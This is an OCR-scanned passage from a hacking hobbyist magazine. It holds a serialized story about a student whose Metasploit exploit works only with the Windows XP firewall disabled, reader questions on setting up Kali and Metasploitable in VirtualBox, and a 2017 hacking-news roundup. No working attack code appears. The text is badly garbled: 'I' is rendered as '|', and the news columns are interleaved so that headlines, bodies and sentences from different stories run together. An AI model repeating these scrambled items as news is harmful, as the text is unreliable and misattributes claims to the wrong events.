After a hour of frustration, | decided to call my SIR. | didn't expect him to lift the call but
| had no other option. | didn't have internet. After waiting for another one hour | called SIR. As
expected, he didn't lift my call. Then | called the institute and told them | had a doubt. They sa
id SIR was in the class. | called them once again after half an hour. SIR attended the call and
when [ told him my problem, he told me to try it by disabling the firewall in Windows XP. As |
got a chance to talk with SIR, I also enquired him about my job. The answer was routine. He
told me as soon as there will be a vacancy, | will be placed. That seemed to be a really empty
promise.

| turned my attention towards my practice. | disabled the firewall and tried the exploit
once again. Voila, it worked. But that | was only a bit happy. Coming to real time hacking, wh-
o would disable his firewall in Windows. Even a naive user wouldn't do it. So the one exploit |
learnt requires firewall to be disabled and no antivirus installed. That was only adding to my
distress.

When | first joined the course, hacking had a different meaning for me altogether. | ne-
ver expected to hack Facebook or a Windows machine with a click of a mouse but atleast |
expected to do something serious. To bypass an antivirus or atleast the firewall. But what | a-
m doing, disabling firewall and running Metasploit. | was even concerned about the cyber sec
-urity awareness of India as many people get trained in the same institutes.

| enabled the firewall and tried the exploit once again. It failed. That was enough. One
practical exploit | have witnessed and we have to disable Firewall for that. | picked up my pho
-ne.

To Be continued



HACKING Q&A

Q: | have a problem while installing Metasploitable in Virtualbox (Jan 2017 issue). | fol-
lowed all your steps and were worthless. Changing from internal network to NAT gave

me the same result: nothing. Don’t know what i’m doing wrong. I’'ll paste here both ma

chines with both metasploitable and kali having NAT configuration:

Metasploitable:
On Metasploitable, | typed “sudo ifconfig eth0 10.10.10.2 netmask 255.0.0.0 up” comm-
and so many times that i now have it present my mind all day.

Kali:
root@kali:~# ifconfig
eth0: flags=4163 mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe04:5c0b prefixlen 64 scopeid 0x20
ether 08:00:27:04:5¢c:0b txqueuelen 1000 (Ethernet)
RX packets 2 bytes 650 (650.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 26 bytes 2326 (2.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1 (Local Loopback)
RX packets 34 bytes 2402 (2.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 34 bytes 2402 (2.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@kali:~# ping 10.1.1.2
PING 10.1.1.2 (10.1.1.2) 56(84) bytes of data.
Alc”rC
— 10.1.1.2 ping statistics —
16 packets transmitted, 0 received, 100% packet loss, time 15001ms
##here i started to enter numbers that i saw they could share a pattern like 000.0.00.0
so not very important##
root@kali:~# ping 10.1.1.255
PING 10.1.1.255 (10.1.1.255) 56(84) bytes of data.
AC
— 10.1.1.255 ping statistics —
6 packets transmitted, 0 received, 100% packet loss, time 5017ms
root@kali:~#
same with internal network configuration
What can | do? -Angel



A: Hey Angel. | can understand your frustration. Seeing the above data you sent me, it seem-
s both machines are not on the same subnet. Do this to fix th problem. Turn off both the mac
hines. On Virtualbox machines, click on each machine. Then go to "settings". In "settings" opt
ion, click on "Network" option. You should see a "Enable network adapter" screen. Make sure
it is "NAT". Click on "OK". Do this in both machines. Your problem should be solved.

Q: Hi, | have a core -i5 processor and trying to run kali on virtualbox then how many
processors should i assign. Is it okey that if i assign 1 processor for kali linux virtual
machine to run. My first basic need is to learn bash and metasploit commands etc that
means no heavy work then later | will switch it to physical machine.

A: Based on your requirements, the default settings are sufficient for you. Just assign one
processor.

Q: Hello, Just a small problem while installing Metasploitable in Virtualbox.When |
input the login and press return, following line is password (as expected) but machine
is blocked. Thanks in advance for your help.

A: Hey Pascal, make sure your cursor is over the virtualbox interface while typing your passw
ord. If the problem still persists, allocate more RAM to Metasploitable.

Hi Readers, If you know
any NON-PROFIT or a
charity organization, that
needs a FREE security
check of their network or
websites, please refer
them to this email
pentest@hackercool.com
This offer is only valid for

NON-PROFIT or CHARITY
organizations.
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Russia doesn't hack elections : Putin
The Russian President once again rebuffed
the accusations that Russia was behind hacki
ng of several elections in the West although
he said freelance hackers who think they are
working for country's interest may be doing
them.
UK's Trident nuclear submarines are vulne
-rable to hacking :
A London based thinktank has assessed that
UK's nuclear missile carrying submarines are
vulnerable to dangerous hacking incidents. Th
e report said it may even lead to exchange of
nuclear weapons. The report claimed this, ev-
enthough the MOD has stressed that its subm
arines were safe from hacking.
Security Researchers start crowdfunding
campaign to buy exploits from ShadowBro
-kers :
A Cyber security firm Hackerhouse has begun
a crowdfunding campaign to buy the next batc
h of exploits being sold by ShadowBrokers.
They say that they are doing this to patch tho-
se vulnerabilities before any criminal can get
a hand on them. Their move is being criticised
by many who allege that this is just like empo-
wering the group.

The Shadow Brokers group wants to sell
a new batch of such exploits in June, for abou
t $22,000 in Bitcoins.
France warns of a permanent cyber war :
Guillaume Poupard, director general of the Na
tional Cybersecurity Agency of France (ANSS
[) has warned that the world was entering into
a state of a permanent cyber war. He said the
hacking attacks were rapidly intensifying and
are coming not only from other states but also
other unspecified actors and cyber criminals.
He stressed all countries should jointly fight
this war.
Qatar hacking a work of Russian hackers -

lance Russian hackers. America sent a cyber-
rsecurity team on Qatar's request to aid them
in the investigation of QNA hacking case.
Qatar launched the inquiry after hacke-
rs hacked into QNA news platforms and publi-
shed false remarks attributed to Emir Sheikh
Tamim bin Hamad Al Thani. These false rema
rks created tensions between the gulf states.
New malware by China making systems in-
to zombies :
According to CheckPoint, Chinese hackers ha
ve infected almost 250 million computers worl
-dwide and turned them into zombies. These
hackers belong to Chinese digital marketing
firm Rafotech. In this operation, they have use
-d malware to manipulate the victim’s browse-
rs and change default search engines and ho-
mepages into fake search engines. Most of th
-e infected machines belong to corporate sec
tor. India and Brazil are the hardest hit, with
25.3 million (10.1 percent) and 24.1 million
(9.6 percent) infected machines respectively.
Hackers target Al-Jazeera :
All systems of Al-Jazeera, the state run news
agency of Qatar is under constant attack by h
-ackers. Unnamed officials of Al-Jazeera have
said that they took the website offline citing se
-curity reasons.

Qatar is under a diplomatic crisis after le-
ak of a news revealing Qatari government's
alleged links with the terrorists.

Israel hacks ISIS computers to reveal a bo-
mb plot :

Israeli intelligence agencies successfully hack
ed ISIS computers to uncover a plot to bomb
airlines using their advanced "laptop bomb".
The laptop bomb was designed by ISIS to whi
ch would allow them to bypass airport security
by disguising the bomb as a laptop battery.
Philippines National Police to hire ethical
hackers:

:FBI
FBI has concluded after a thorough investigat
ion that the Qatar hacking is the work of Free-

Philippines National Police have decided to hi
re ethical hackers to protect theirwebsite from
constant hacking attempts.



Germany building election firewall:

With elections due in September, Germny is s
eemingly building a election firewall to protect
the elections from getting hacked.

Germany suspects a hacking group known a
s Pawn Storm which is allegedly owned by Ru
ssian intelligence has hacked into German pa
rliament servers and stole 16GB of data. It als
o says the hacking attacks are gaining mome-
ntum as elections are fast approaching.

Qatar accuses neighbours of hacking :
After completing the preliminary invetigation,
Qatar has accused its neighbours (who have
recently cut off their diplomatic relations with
Qatar) of hacking the news site and planting
fake news. Qatar said they have enough proo
-f to prove this and have presented it to the co
-ncerned nations.

CIA hacked almost all wireless routers:
According to Wikileaks, CIA has hacked nume
rous home and enterprise wireless routers to
carry out surveillance. The devices on which
these implants exist include Asus, Belkin, D-
Link, Linksys and Netgear, CIA declined to co-
mment on this.

German police get broad hacking powers:

obtained during Linkedin data breach.

British Parliament under hacking attack :
The email system of the British Parliament is
under constant attack from a hackers. Althoug
h nothing is known about the group performin-
g this hack, initial suspicion fell on Russia or
North Korea.

It seems hackers allegedly got access
to around 90 accounts. Security servcies ban-
ned access to the email system for anyone ou
tside Westminister to prevent further damage.
Is Skype hacked?

A hacking group named CyberTeam has claim
ed that they are responsible for Skype's outag
-e in UAE and some other countries. Users us
-ing Skype experienced problems a few days
back when they were unable to make calls fro
m UAE. CyberTeam announced that the outa-
ge was a result of a DDOS attack.

Canada deactivates email services:

The House Of Commons of Canada has shut
down its email and network services on fears
that they may be hacked. They took this meas
ures after news came out that the British parli-
ament came under hacking attack.

NASA to reveal about existence of alien lif-

German Parliament had amended an act to a-
ward broad hacking powers to the German po
lice. Until this bill was amended, German polic
-e had rights of hacking only in terrorist relate-
d cases. Now they can use hacking in minor
offences like murder or burglary.

Virgin Media urges around 800,000 users

e : Anonymous :

Hacking group Anonymous in its latest video

has announced that NASA is about to reveal

about the existence of alien life to public.
NASA has found some 219 'new world-

s' using its telescope Kepler.

Petya attack causing destruction all aroun-

to change passwords:
Virgin Media the makers of superhub router u
-rged their users to change passwords over ri-
sk they can be breached easily.
Did Russian hackers buy stolen credential
s of British MP's and public servants:
If reports are to be believed, security credenti-
als belonging to tens of thousands of British g
-overnment officials have been sold or bought
on Russian speaking hacker forums.

These credentials belong to around 100
0 British MPs and parliamentary staff, 7000 p-
olice employees and more than 1,000 Foreign
Office staff. These credentials were allegedly

d globe:
A new wave of ransomware attack named "Pe

tya" is causing disruption of services all aroun
-d the world. This attack comes short of the
attack "Wannacry" which infected many machi
nes around the globe.

This attack initially started in Ukraine and
spread to other European countries. Although
the number of infected machines is estimated
to be less than that of "Wannacry", the damag
-e inflicted by it is very severe as it makes co-
mputers unresponsive. It has been named Pe
tya as it seems to copy code of an earlier stra
in of ransomware named "Petya".



